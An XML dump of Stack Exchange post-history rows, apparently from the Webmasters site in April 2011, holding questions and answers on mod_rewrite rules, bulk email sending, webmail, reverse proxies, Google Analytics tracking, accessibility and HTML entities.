  <row Id="27002" PostHistoryTypeId="2" PostId="11858" RevisionGUID="280c2088-59cf-4a1b-9829-9c4496f4f5ca" CreationDate="2011-04-08T08:58:55.587" UserDisplayName="Graeme Donaldson" Text="I'm trying to make http://$SOMETHING.app.example.com/ transparently rewrite to http://www.example.com/app/$SOMETHING.&#xD;&#xA;&#xD;&#xA;The config below is giving me a 404 and I'm not sure why.&#xD;&#xA;&#xD;&#xA;    ServerName www.example.com&#xD;&#xA;    ServerAlias *.app.example.com&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} (.*).app.example.com&#xD;&#xA;    RewriteRule ^/(.*) /app/%1/$1&#xD;&#xA;&#xD;&#xA;I'm missing something obvious, what is it?&#xD;&#xA;&#xD;&#xA;Edit: let me make this a little clearer.&#xD;&#xA;&#xD;&#xA;If I browse to http://www.example.com/app/abc, I get a page. If I browse to http://abc.app.example.com/ I expect to see the same page, but I'm getting a 404 instead.&#xD;&#xA;&#xD;&#xA;Edit2: The DNS record for *.app.example.com is already in place and I can see my request in the access log, with the 404 status.&#xD;&#xA;&#xD;&#xA;Edit3: After enabling the mod_rewrite log file, it appears that the post-rewrite path is &quot;$DOCROOT/app/abc&quot; which fails because it doesn't exist. This is a Python/WSGI application, I think that has something to do with my problem. For the moment it looks like we'll just use a regular redirect instead." />
  <row Id="27003" PostHistoryTypeId="1" PostId="11858" RevisionGUID="280c2088-59cf-4a1b-9829-9c4496f4f5ca" CreationDate="2011-04-08T08:58:55.587" UserDisplayName="Graeme Donaldson" Text="mod_rewrite: rewriting http://$SOMETHING.app.example.com/ to http://www.example.com/app/$SOMETHING" />
  <row Id="27004" PostHistoryTypeId="3" PostId="11858" RevisionGUID="280c2088-59cf-4a1b-9829-9c4496f4f5ca" CreationDate="2011-04-08T08:58:55.587" UserDisplayName="Graeme Donaldson" Text="&lt;mod-rewrite&gt;" />
  <row Id="27005" PostHistoryTypeId="17" PostId="11858" RevisionGUID="1602f855-a8bc-4096-a90b-b73c14ba6667" CreationDate="2011-04-08T13:23:57.543" UserId="-1" Comment="from http://serverfault.com/questions/257258/mod-rewrite-rewriting-http-something-app-example-com-to-http-www-example-c" Text="" />
  <row Id="27006" PostHistoryTypeId="2" PostId="11860" RevisionGUID="b7e5aa57-f862-4660-8aa8-fa2f0a334b13" CreationDate="2011-04-08T13:54:33.683" UserId="4744" Text="I was searching for an ecommerce online (hosted on their servers)&#xD;&#xA;&#xD;&#xA;I found:&#xD;&#xA;&#xD;&#xA;- shopify.com&#xD;&#xA;- flyingcart.com&#xD;&#xA;- corecommerce.com&#xD;&#xA;&#xD;&#xA;Problem is I need it in italian and it seems only shopify supports it.&#xD;&#xA;&#xD;&#xA;Are there any good alternative?" />
  <row Id="27007" PostHistoryTypeId="1" PostId="11860" RevisionGUID="b7e5aa57-f862-4660-8aa8-fa2f0a334b13" CreationDate="2011-04-08T13:54:33.683" UserId="4744" Text="Creating Ecommerce online?" />
  <row Id="27008" PostHistoryTypeId="3" PostId="11860" RevisionGUID="b7e5aa57-f862-4660-8aa8-fa2f0a334b13" CreationDate="2011-04-08T13:54:33.683" UserId="4744" Text="&lt;ecommerce&gt;&lt;management&gt;" />
  <row Id="27015" PostHistoryTypeId="2" PostId="11862" RevisionGUID="fab0ebcb-584d-4f01-b007-e14c3d4f92aa" CreationDate="2011-04-08T14:25:16.327" UserId="1643" Text="This dates from January 2011, but isn't that widespread: http://try.powermapper.com/demo/statsversions.aspx&#xD;&#xA;" />
  <row Id="27016" PostHistoryTypeId="6" PostId="11406" RevisionGUID="cab2354d-026a-4003-b51f-4527be8bbb1a" CreationDate="2011-04-08T14:35:14.310" UserId="1253" Comment="removed &quot;google&quot; tag since this isn't a question about Google itself" Text="&lt;html&gt;&lt;research&gt;" />
  <row Id="27017" PostHistoryTypeId="2" PostId="11863" RevisionGUID="e86af91e-ffb6-442b-a51b-6bddc4bab848" CreationDate="2011-04-07T14:53:53.547" UserDisplayName="Igor K" Text="Wishing to send an email to about 20,000 recipients.&#xD;&#xA;&#xD;&#xA;Our own SMTP server used for transactional emails I believe is well trusted, we've not heard of deliverability problems, mails go to gmail/yahoo fine. DKIM, SPF, DomainKeys all set up, etc.&#xD;&#xA;&#xD;&#xA;**What program should we use to send the email?** Would people recommend bulk email software like Sendblaster? Would this handle unsubscribes, etc?&#xD;&#xA;&#xD;&#xA;**Send via SMTP server or connect direct to theirs?** Know some of this software can connect directly to the the recipients SMTP server. Is this advisable or is sending via a trusted SMTP server better?&#xD;&#xA;&#xD;&#xA;**Use our own SMTP server vs provider like SendGrid/Critsend?** Presume if we were using bulk email software we'd have to connect to a SMTP service. Are we best sending using one of these services or our own server? My thinking is the bulk sender providers may not have sent emails before to the people we're sending to and as such perhaps our server has better reputation?&#xD;&#xA;&#xD;&#xA;**If our SMTP server, what software (Windows)?** Currently using SmarterMail, is this up to it or should&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update: https://www.senderscore.org/ reports our mail server IP with a score of 99, low delivery risk and very low volume.&#xD;&#xA;&#xD;&#xA;Any opinions?" />
  <row Id="27018" PostHistoryTypeId="1" PostId="11863" RevisionGUID="e86af91e-ffb6-442b-a51b-6bddc4bab848" CreationDate="2011-04-07T14:53:53.547" UserDisplayName="Igor K" Text="Sending Bulk Email/Newsletter (20,000 emails) - our SMTP server vs bulk provider, what software, etc" />
  <row Id="27019" PostHistoryTypeId="3" PostId="11863" RevisionGUID="e86af91e-ffb6-442b-a51b-6bddc4bab848" CreationDate="2011-04-07T14:53:53.547" UserDisplayName="Igor K" Text="&lt;email&gt;" />
  <row Id="27020" PostHistoryTypeId="17" PostId="11863" RevisionGUID="2e027db3-9376-4749-899b-0de1fe591d46" CreationDate="2011-04-08T14:53:14.683" UserId="-1" Comment="from http://stackoverflow.com/questions/5583090/sending-bulk-email-newsletter-20-000-emails-our-smtp-server-vs-bulk-provider" Text="" />
  <row Id="27021" PostHistoryTypeId="2" PostId="11864" RevisionGUID="6015a1e0-4875-42b2-b852-829a51c7b578" CreationDate="2011-04-07T13:12:57.967" UserDisplayName="arma" Text="Been testing out different webmail options to use ( so far AfterLogic, Horde )&#xD;&#xA;And it seems that there is no options to change password for user.&#xD;&#xA;It's really bad thing that i have to go to server and manually change passwords for users.&#xD;&#xA;&#xD;&#xA;Is there any webmail solution that will allow me to change password, that also changes on server ( as client ).&#xD;&#xA;&#xD;&#xA;Or is it server setting i must use before? Or it is not possible ?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="27022" PostHistoryTypeId="1" PostId="11864" RevisionGUID="6015a1e0-4875-42b2-b852-829a51c7b578" CreationDate="2011-04-07T13:12:57.967" UserDisplayName="arma" Text="Webmail with option to change password for email account?" />
  <row Id="27023" PostHistoryTypeId="3" PostId="11864" RevisionGUID="6015a1e0-4875-42b2-b852-829a51c7b578" CreationDate="2011-04-07T13:12:57.967" UserDisplayName="arma" Text="&lt;email&gt;&lt;webmail&gt;" />
  <row Id="27024" PostHistoryTypeId="17" PostId="11864" RevisionGUID="f06d532a-4659-4857-84fa-e6dc85120c10" CreationDate="2011-04-08T14:54:07.447" UserId="-1" Comment="from http://stackoverflow.com/questions/5581643/webmail-with-option-to-change-password-for-email-account" Text="" />
  <row Id="27025" PostHistoryTypeId="6" PostId="11864" RevisionGUID="dbf09efc-6a16-4f0c-8d98-369ef6fa50b3" CreationDate="2011-04-08T14:59:07.200" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;email&gt;&lt;looking-for-a-script&gt;&lt;webmail&gt;" />
  <row Id="27026" PostHistoryTypeId="25" PostId="11849" RevisionGUID="1fed9440-2af6-4ce1-8628-d9504a5ffde1" CreationDate="2011-04-08T15:09:03.700" Comment="http://twitter.com/#!/StackWebmasters/status/56372993873555456" />
  <row Id="27027" PostHistoryTypeId="2" PostId="11865" RevisionGUID="bdce452a-7ec7-4664-bf54-9b8f925d04b7" CreationDate="2011-04-08T15:24:46.707" UserId="6355" Text="I would advice you to use a service specialized in sending bulk e-mail, like for example Silverpop or Mailchimp. The main reason for this is that their antispam whitelisting. You don't want your normal mail server/web server getting in a blacklist because some of your users didn't like the message.&#xD;&#xA;&#xD;&#xA;You probably also don't want to send only one message once, and this services offer list managing, with unsubscribes, templates, segmenting A/B testing...&#xD;&#xA;&#xD;&#xA;Another option is to look for CRM providers with mailing services included, but that is a more expensive option with many features that you would probably never use." />
  <row Id="27028" PostHistoryTypeId="2" PostId="11866" RevisionGUID="e4a34ab3-0106-4c8c-a026-15705c4188f5" CreationDate="2011-04-08T16:32:08.210" UserId="2033" Text="I have a few pages on a website where some sections use a JavaScript slider to display content and I was wondering if it's possible for Google Analytics to track those sections?&#xD;&#xA;&#xD;&#xA;For now when a section is clicked on the URL changes to www.mysite.com/example.html#/example-section&#xD;&#xA;&#xD;&#xA;I'm trying to figure out a way I can track those sections with Analytics as well as have Google properly crawl them, any suggestions?" />
  <row Id="27029" PostHistoryTypeId="1" PostId="11866" RevisionGUID="e4a34ab3-0106-4c8c-a026-15705c4188f5" CreationDate="2011-04-08T16:32:08.210" UserId="2033" Text="Google Analytics crawl url hash" />
  <row Id="27030" PostHistoryTypeId="3" PostId="11866" RevisionGUID="e4a34ab3-0106-4c8c-a026-15705c4188f5" CreationDate="2011-04-08T16:32:08.210" UserId="2033" Text="&lt;google-analytics&gt;&lt;google-webmaster-tools&gt;&lt;hash&gt;" />
  <row Id="27031" PostHistoryTypeId="2" PostId="11867" RevisionGUID="bb0ff248-78d4-43bd-b884-7c96e3ccb4ef" CreationDate="2011-04-08T16:45:16.293" UserId="6686" Text="I'm looking for a reverse proxy to get around the Great Firewall of China. Is there a service where I can point my DNS to their servers, and choose a site to proxy from?&#xD;&#xA;&#xD;&#xA;If not, what is the cheapest solution for a low traffic site? I thought about using Apache on EC2, but it seems a little complicated, and it would cost about $40.&#xD;&#xA;" />
  <row Id="27032" PostHistoryTypeId="1" PostId="11867" RevisionGUID="bb0ff248-78d4-43bd-b884-7c96e3ccb4ef" CreationDate="2011-04-08T16:45:16.293" UserId="6686" Text="Are there any hosting solutions for a reverse proxy?" />
  <row Id="27033" PostHistoryTypeId="3" PostId="11867" RevisionGUID="bb0ff248-78d4-43bd-b884-7c96e3ccb4ef" CreationDate="2011-04-08T16:45:16.293" UserId="6686" Text="&lt;web-hosting&gt;&lt;proxy&gt;" />
  <row Id="27038" PostHistoryTypeId="2" PostId="11869" RevisionGUID="da0ef70c-5807-41c1-a5bc-9e17e67a3996" CreationDate="2011-04-08T17:23:01.617" UserId="6236" Text="Bear in mind a minority of recipients will helpfully unsubscribe by using the &quot;report spam&quot; option rather than the unsubscribe link you provide.  This means you have a chance of being temporarily blacklisted somewhere, even when you did nothing wrong.&#xD;&#xA;&#xD;&#xA;So, as Osvaldo says, use one of the known providers who already have processes and whitelisting in place for this, like Mailchimp or Constant Contact.  They've got pretty much all you need in terms of click tracking, open statistics and the like.&#xD;&#xA;&#xD;&#xA;Why reinvent the wheel and risk taking your mail off the web in the process?" />
  <row Id="27039" PostHistoryTypeId="2" PostId="11870" RevisionGUID="242f0d30-66d8-4a23-b3cc-c119d1dfffa1" CreationDate="2011-04-08T17:55:22.183" UserId="-1" Text="" />
  <row Id="27040" PostHistoryTypeId="2" PostId="11871" RevisionGUID="a0d975ab-0eb8-494c-bdbf-ff955ad802e3" CreationDate="2011-04-08T17:55:22.183" UserId="-1" Text="" />
  <row Id="27041" PostHistoryTypeId="2" PostId="11872" RevisionGUID="f9deb2c1-c62e-455c-b324-7cf90a4a050e" CreationDate="2011-04-08T18:03:35.960" UserId="6389" Text="I would buy a really cheap VPS, lowendbox.com has offers listed from a few quid a month. Then install something like ziproxy. I have set this up in Ubuntu and it was really easy, installed then changed settings in my browser. all traffic was then going via my server.&#xD;&#xA;" />
  <row Id="27042" PostHistoryTypeId="25" PostId="11867" RevisionGUID="cb848e80-6b83-43bf-93de-83e569a41f1d" CreationDate="2011-04-08T18:09:03.710" Comment="http://twitter.com/#!/StackWebmasters/status/56418292943958016" />
  <row Id="27043" PostHistoryTypeId="2" PostId="11873" RevisionGUID="967e7aa6-581d-4873-836d-4069232df31c" CreationDate="2011-04-08T19:34:28.987" UserId="6624" Text="Since the sections are revealed by JavaScript, you can use the pageTracker in Google Analytics to manually log a hit.  For example:&#xD;&#xA;&#xD;&#xA;    // Log this usage in Google Analytics.&#xD;&#xA;    pageTracker._trackPageview('/slider-page/part1');&#xD;&#xA;&#xD;&#xA;Add that to the JavaScript which triggers the change in the page.  The parameter given to the trackPageview method will be used as the path of the page in the content lists in Google Analytics, so be sure to use a different one for each section." />
  <row Id="27044" PostHistoryTypeId="5" PostId="11870" RevisionGUID="cba06310-9671-4e3d-a52d-a711fb94e139" CreationDate="2011-04-08T20:27:07.373" UserId="6624" Comment="added 1699 characters in body" Text="Web users may have disabilities which affect their ability to use web sites, including visual impairments, auditory impairments, motor disabilities, and cognitive disabilities.&#xD;&#xA;&#xD;&#xA;&quot;Accessibility&quot; is the practice of designing sites to accommodate such disabilities.  For example, an accessible site always provides ALT text for images, so that the screen reading software used by blind or low-vision users can read aloud a sensible text-based alternative to the image.&#xD;&#xA;&#xD;&#xA;In many cases, accessible design is mandated by law.  For example, in the United States, institutions which receive federal funding are subject to the Section 508 standards, so-called after the amendment to the Rehabilitation Act which contains the standard.  &#xD;&#xA;&#xD;&#xA;There are also a number of technical standards related to web accessibility, notable the Web Content Accessibility Guidelines (WCAG, currently at version 2.0) and the Web Accessiblity Initiative's Accessible Rich Internet Applications standard (WAI-ARIA, currently in development).&#xD;&#xA;&#xD;&#xA;This tag is appropriate for any question having to do with producing accessible sites, including questions:&#xD;&#xA;&#xD;&#xA; - about code&#xD;&#xA; - about the interaction between code and assistive software such as screen readers&#xD;&#xA; - about relevant technical standards&#xD;&#xA; - about best practices for conformance with applicable laws and standards&#xD;&#xA;&#xD;&#xA;Specific legal questions are best referred to a lawyer, or to a disability support department (if you have access to one).&#xD;&#xA;&#xD;&#xA;Links:&#xD;&#xA;&#xD;&#xA; - &lt;a href=&quot;http://www.w3.org/WAI/intro/wcag.php&quot;&gt;WCAG&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://www.w3.org/WAI/intro/aria.php&quot;&gt;WAI-ARIA&lt;/a&gt;&#xD;&#xA; - &lt;a href=&quot;http://webaim.org/&quot;&gt;WebAIM&lt;/a&gt;, a good first stop for accessibility questions&#xD;&#xA;" />
  <row Id="27045" PostHistoryTypeId="24" PostId="11870" RevisionGUID="cba06310-9671-4e3d-a52d-a711fb94e139" CreationDate="2011-04-08T20:27:07.373" Comment="Proposed by 6624 approved by 1064 edit id of 100" />
  <row Id="27046" PostHistoryTypeId="5" PostId="11871" RevisionGUID="f04dc996-9057-44dc-9dd5-39eabd495071" CreationDate="2011-04-08T20:27:09.557" UserId="6624" Comment="added 168 characters in body" Text="Accessibility: the practice of making sites which function smoothly for users with a variety of disabilities, including blindness, deafness, and paralysis among others." />
  <row Id="27047" PostHistoryTypeId="24" PostId="11871" RevisionGUID="f04dc996-9057-44dc-9dd5-39eabd495071" CreationDate="2011-04-08T20:27:09.557" Comment="Proposed by 6624 approved by 1064 edit id of 101" />
  <row Id="27048" PostHistoryTypeId="5" PostId="11860" RevisionGUID="34b51365-2715-4a33-8375-2f5478fcc43a" CreationDate="2011-04-08T20:38:34.167" UserId="4744" Comment="added 14 characters in body" Text="I was searching for an ecommerce online (hosted on their servers)&#xD;&#xA;&#xD;&#xA;I found:&#xD;&#xA;&#xD;&#xA;- shopify.com&#xD;&#xA;- flyingcart.com&#xD;&#xA;- corecommerce.com&#xD;&#xA;&#xD;&#xA;Problem is I need it in italian and it seems only shopify supports it.&#xD;&#xA;&#xD;&#xA;Are there any good alternative that you know?" />
  <row Id="27049" PostHistoryTypeId="25" PostId="11858" RevisionGUID="bffe4bfb-24c0-4658-af00-32777663ea6d" CreationDate="2011-04-08T21:09:04.133" Comment="http://twitter.com/#!/StackWebmasters/status/56463592224067584" />
  <row Id="27050" PostHistoryTypeId="5" PostId="11864" RevisionGUID="c01b5847-cf1f-4de5-acf9-2b61df36f143" CreationDate="2011-04-08T21:24:17.753" UserId="6690" Comment="added 43 characters in body" Text="Been testing out different webmail options to use ( so far AfterLogic, Horde )&#xD;&#xA;And it seems that there is no options to change password for user.&#xD;&#xA;It's really bad thing that i have to go to server and manually change passwords for users.&#xD;&#xA;&#xD;&#xA;Is there any webmail solution that will allow me to change password, that also changes on server ( as client ).&#xD;&#xA;&#xD;&#xA;Or is it server setting i must use before? Or it is not possible ?&#xD;&#xA;&#xD;&#xA;EDIT: **Note that i have cPanel host.**&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="27051" PostHistoryTypeId="17" PostId="11875" RevisionGUID="3225b953-0953-4d2d-883b-644ab9137ca7" CreationDate="2011-04-08T22:20:34.297" UserId="-1" Comment="from http://serverfault.com/questions/257525/apache-mod-rewrite-problem/257530#257530" Text="" />
  <row Id="27052" PostHistoryTypeId="2" PostId="11875" RevisionGUID="c398bc21-03e5-4dda-bd24-8f899822bfc5" CreationDate="2011-04-08T20:38:54.073" UserDisplayName="dog" Text="What are you trying to accomplish?&#xD;&#xA;&#xD;&#xA;The way you use `(.)` you can (and have to) only type exactly one character.&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    http://example.com/a3ff/X   =&gt; http://domainname/X&#xD;&#xA;    http://example.com/a3ff/    =&gt; Not matched by any rule&#xD;&#xA;    http://example.com/a3ff/ABC =&gt; http://domainname/A&#xD;&#xA;&#xD;&#xA;What you want is probably more like&#xD;&#xA;&#xD;&#xA;    RewriteRule ^a3ff/(.*) [DOMAINNAME]/$1 [R=301,QSA,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27053" PostHistoryTypeId="2" PostId="11874" RevisionGUID="38cdf028-0446-44fd-8373-7a7944f6d96a" CreationDate="2011-04-08T20:25:28.837" UserDisplayName="Vladimir" Text="I try to use Apache mod_rewrite to redirect some pages on my customer's website to the homepage. The .htaccess file is the following:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^environment/teach-your-kids-to-go-green/(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/event\.html(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/films\.html(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/lastcomm\.html(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/join\.html(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^capturenature(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/blog\.html(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^capturenatur(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/roadtomecca\.html(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^capturenature/(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^shopping/engagement-rings-for-men/(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/thecallhome\.html(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteRule ^a3ff/stateofthings\.html(.*) [DOMAINNAME]/$1 [R=301,L]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;For some reason, this rewrite rule - `RewriteRule ^a3ff/(.*) [DOMAINNAME]/$1 [R=301,L]`  - doesn't work on the production server. It does work on my development server, however. When I use `RewriteRule ^a3fff/(.*) DOMAINNAME/$1 [R=301,L]`, for example (one character appended), it works perfectly. It's probably the strangest .htaccess problem I've ever seen. Can anyone help me?" />
  <row Id="27054" PostHistoryTypeId="1" PostId="11874" RevisionGUID="38cdf028-0446-44fd-8373-7a7944f6d96a" CreationDate="2011-04-08T20:25:28.837" UserDisplayName="Vladimir" Text="Apache mod_rewrite problem" />
  <row Id="27055" PostHistoryTypeId="3" PostId="11874" RevisionGUID="38cdf028-0446-44fd-8373-7a7944f6d96a" CreationDate="2011-04-08T20:25:28.837" UserDisplayName="Vladimir" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="27056" PostHistoryTypeId="17" PostId="11874" RevisionGUID="9ccdae13-f5e6-4397-9420-0deadf71b79c" CreationDate="2011-04-08T22:20:34.297" UserId="-1" Comment="from http://serverfault.com/questions/257525/apache-mod-rewrite-problem" Text="" />
  <row Id="27057" PostHistoryTypeId="2" PostId="11876" RevisionGUID="589043c2-f457-4299-b4cc-3d3ecfa030d6" CreationDate="2011-04-08T23:21:28.153" UserId="6691" Text="While Google makes themes available to style forms in Google Docs, there seems to be no provision for styling forms yourself.&#xD;&#xA;&#xD;&#xA;I have a two-column layout and want the form on the right. There are various problems, such as the textarea overflowing the column. Since it's in an Iframe there's not way to wedge in a stylesheet or a jQuery/javascript fix.&#xD;&#xA;&#xD;&#xA;The only suggestion I've found is grabbing the source of the iframe and dropping it into my own HTML, but this breaks the built-in validation and is too hack-ish." />
  <row Id="27058" PostHistoryTypeId="1" PostId="11876" RevisionGUID="589043c2-f457-4299-b4cc-3d3ecfa030d6" CreationDate="2011-04-08T23:21:28.153" UserId="6691" Text="How do you style Google forms (from Google Docs)?" />
  <row Id="27059" PostHistoryTypeId="3" PostId="11876" RevisionGUID="589043c2-f457-4299-b4cc-3d3ecfa030d6" CreationDate="2011-04-08T23:21:28.153" UserId="6691" Text="&lt;forms&gt;&lt;google-apps&gt;" />
  <row Id="27064" PostHistoryTypeId="25" PostId="11874" RevisionGUID="a5af4372-2005-4980-a016-d268265f28a7" CreationDate="2011-04-09T00:09:03.930" Comment="http://twitter.com/#!/StackWebmasters/status/56508890308808704" />
  <row Id="27084" PostHistoryTypeId="2" PostId="11892" RevisionGUID="049f8c92-c383-4d0a-8162-c707d3ab1e06" CreationDate="2011-04-09T03:43:45.040" UserId="6304" Text="Amazon has a free tier that you can use which would let you u do just that.&#xD;&#xA;http://aws.amazon.com/free/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27086" PostHistoryTypeId="2" PostId="11894" RevisionGUID="c26519f9-c95d-473e-ae95-15d978743019" CreationDate="2011-04-09T03:50:43.363" UserId="6304" Text="There's always the free:&#xD;&#xA;http://www.justin.tv/&#xD;&#xA;&#xD;&#xA;but by far this would be my favorite:&#xD;&#xA;http://www.ustream.tv/&#xD;&#xA;&#xD;&#xA;its free (there's a paid version too with added benefits) but u can create your own channel + save old content." />
  <row Id="27088" PostHistoryTypeId="2" PostId="11896" RevisionGUID="fa441f83-c047-4633-b842-58ebb980d0cb" CreationDate="2011-04-09T04:12:51.097" UserId="6304" Text="all php, all open source:&#xD;&#xA;&#xD;&#xA;https://github.com/MasterEx/myloader &#xD;&#xA;&#xD;&#xA;http://www.webdice.org/uber_uploader/&#xD;&#xA;&#xD;&#xA;http://www.energyscripts.com/Products/product2.html" />
  <row Id="27093" PostHistoryTypeId="25" PostId="11876" RevisionGUID="4bdf3748-36e0-4ac3-bb8f-201c0f9bb795" CreationDate="2011-04-09T06:09:04.203" Comment="http://twitter.com/#!/StackWebmasters/status/56599487904362496" />
  <row Id="27097" PostHistoryTypeId="2" PostId="11900" RevisionGUID="52a748cf-f064-4d8b-983c-ca2e1cd7489f" CreationDate="2011-04-09T08:06:38.797" UserId="6355" Text="I have an email database with a couple of thousand members and a twitter account with a couple of thousand followers. Many of them are in both lists for sure.&#xD;&#xA;&#xD;&#xA;For the purpose of segmenting the email database, it would be great if I could know who from the email database has a Twitter account.&#xD;&#xA;&#xD;&#xA;It's not important to know their Twitter user names or id's, but if that comes as an extra, even better.&#xD;&#xA;&#xD;&#xA;Twitter API allows a lot of queries, but I didn't find one that allows search users by email address." />
  <row Id="27098" PostHistoryTypeId="1" PostId="11900" RevisionGUID="52a748cf-f064-4d8b-983c-ca2e1cd7489f" CreationDate="2011-04-09T08:06:38.797" UserId="6355" Text="Crossing Twitter follow info with members database" />
  <row Id="27099" PostHistoryTypeId="3" PostId="11900" RevisionGUID="52a748cf-f064-4d8b-983c-ca2e1cd7489f" CreationDate="2011-04-09T08:06:38.797" UserId="6355" Text="&lt;email&gt;&lt;twitter&gt;&lt;api&gt;" />
  <row Id="27100" PostHistoryTypeId="25" PostId="11900" RevisionGUID="11df2602-b501-4e04-9249-1f291eb7a25d" CreationDate="2011-04-09T09:09:03.803" Comment="http://twitter.com/#!/StackWebmasters/status/56644785133453313" />
  <row Id="27101" PostHistoryTypeId="2" PostId="11901" RevisionGUID="f2429f79-6d09-45b5-b265-4e878abbe7ff" CreationDate="2011-04-09T11:25:20.577" UserId="5013" Text="Did you edit the script to account for Turkish from this:&#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/en_us/all.js#xfbml=1&quot;&gt;&#xD;&#xA;&#xD;&#xA;the en_us part basically says English and then the form, which in this case is US English&#xD;&#xA;&#xD;&#xA;For Turkish, however, you don't have to put the region/form, just the language.&#xD;&#xA;&#xD;&#xA;Try this and let me know what you get:&#xD;&#xA;&#xD;&#xA;    &lt;script src=&quot;http://connect.facebook.net/tr/all.js#xfbml=1&quot;&gt;" />
  <row Id="27102" PostHistoryTypeId="2" PostId="11902" RevisionGUID="6827ec8c-2321-422f-b1d4-d1140f9a368a" CreationDate="2011-04-09T11:55:10.320" UserId="6391" Text="while i put in my HTML a table that is larger than my HTML width the scroll bar is hide. what do i to do?" />
  <row Id="27103" PostHistoryTypeId="1" PostId="11902" RevisionGUID="6827ec8c-2321-422f-b1d4-d1140f9a368a" CreationDate="2011-04-09T11:55:10.320" UserId="6391" Text="a table that is larger than my html widht" />
  <row Id="27104" PostHistoryTypeId="3" PostId="11902" RevisionGUID="6827ec8c-2321-422f-b1d4-d1140f9a368a" CreationDate="2011-04-09T11:55:10.320" UserId="6391" Text="&lt;html&gt;&lt;css&gt;&lt;table&gt;" />
  <row Id="27105" PostHistoryTypeId="5" PostId="11863" RevisionGUID="619744e1-5bba-4fe1-85ac-71cb045c4e97" CreationDate="2011-04-09T11:57:45.000" UserId="6703" Comment="added 302 characters in body" Text="Wishing to send an email to about 20,000 recipients.&#xD;&#xA;&#xD;&#xA;Our own SMTP server used for transactional emails I believe is well trusted, we've not heard of deliverability problems, mails go to gmail/yahoo fine. DKIM, SPF, DomainKeys all set up, etc.&#xD;&#xA;&#xD;&#xA;**What program should we use to send the email?** Would people recommend bulk email software like Sendblaster? Would this handle unsubscribes, etc?&#xD;&#xA;&#xD;&#xA;**Send via SMTP server or connect direct to theirs?** Know some of this software can connect directly to the the recipients SMTP server. Is this advisable or is sending via a trusted SMTP server better?&#xD;&#xA;&#xD;&#xA;**Use our own SMTP server vs provider like SendGrid/Critsend?** Presume if we were using bulk email software we'd have to connect to a SMTP service. Are we best sending using one of these services or our own server? My thinking is the bulk sender providers may not have sent emails before to the people we're sending to and as such perhaps our server has better reputation?&#xD;&#xA;&#xD;&#xA;**If our SMTP server, what software (Windows)?** Currently using SmarterMail, is this up to it or should&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Update: https://www.senderscore.org/ reports our mail server IP with a score of 99, low delivery risk and very low volume.&#xD;&#xA;&#xD;&#xA;Any opinions?&#xD;&#xA;&#xD;&#xA;**Edit:** thanks for the answers so far. Providers like MailChimp are just too expensive for one off emails. Plus they don't seem to like bought lists - in the UK this is fine if the data is collected lawfully under the List Warranty Register - http://www.dma.org.uk/information/ind-listintro.asp&#xD;&#xA;" />
  <row Id="27106" PostHistoryTypeId="25" PostId="11902" RevisionGUID="4567e722-f2b5-4b3f-b8b0-f3e6a75b2b47" CreationDate="2011-04-09T12:09:03.983" Comment="http://twitter.com/#!/StackWebmasters/status/56690084929470464" />
  <row Id="27107" PostHistoryTypeId="2" PostId="11903" RevisionGUID="d194024b-0dbf-46c2-a697-274a7a369162" CreationDate="2011-04-09T14:01:49.497" UserId="4142" Text="I believe both are perfectly valid, so it should come down to the difference between entities and Unicode characters.&#xD;&#xA;&#xD;&#xA;HTML Entities are the safe way to go. They will show up on all modern browsers, but are a bit of a pain in source code. Plus, it's several characters to represent a single character, which isn't as efficient as it could be. If you were going to go with the entity, I would recommend using `&amp;copy;` instead, for readability.&#xD;&#xA;&#xD;&#xA;Embedding the copyright symbol should work just fine, as long as you have your encoding set correctly. However, if you run into encoding issues, you can get all sorts of display issues that are unsightly and hard to deal with. If it's in your meta tag, then you shouldn't have display issues, but it's something to take into consideration.&#xD;&#xA;&#xD;&#xA;I usually use the single character. That's what it's there for, and it's a couple fewer bytes off of each page load." />
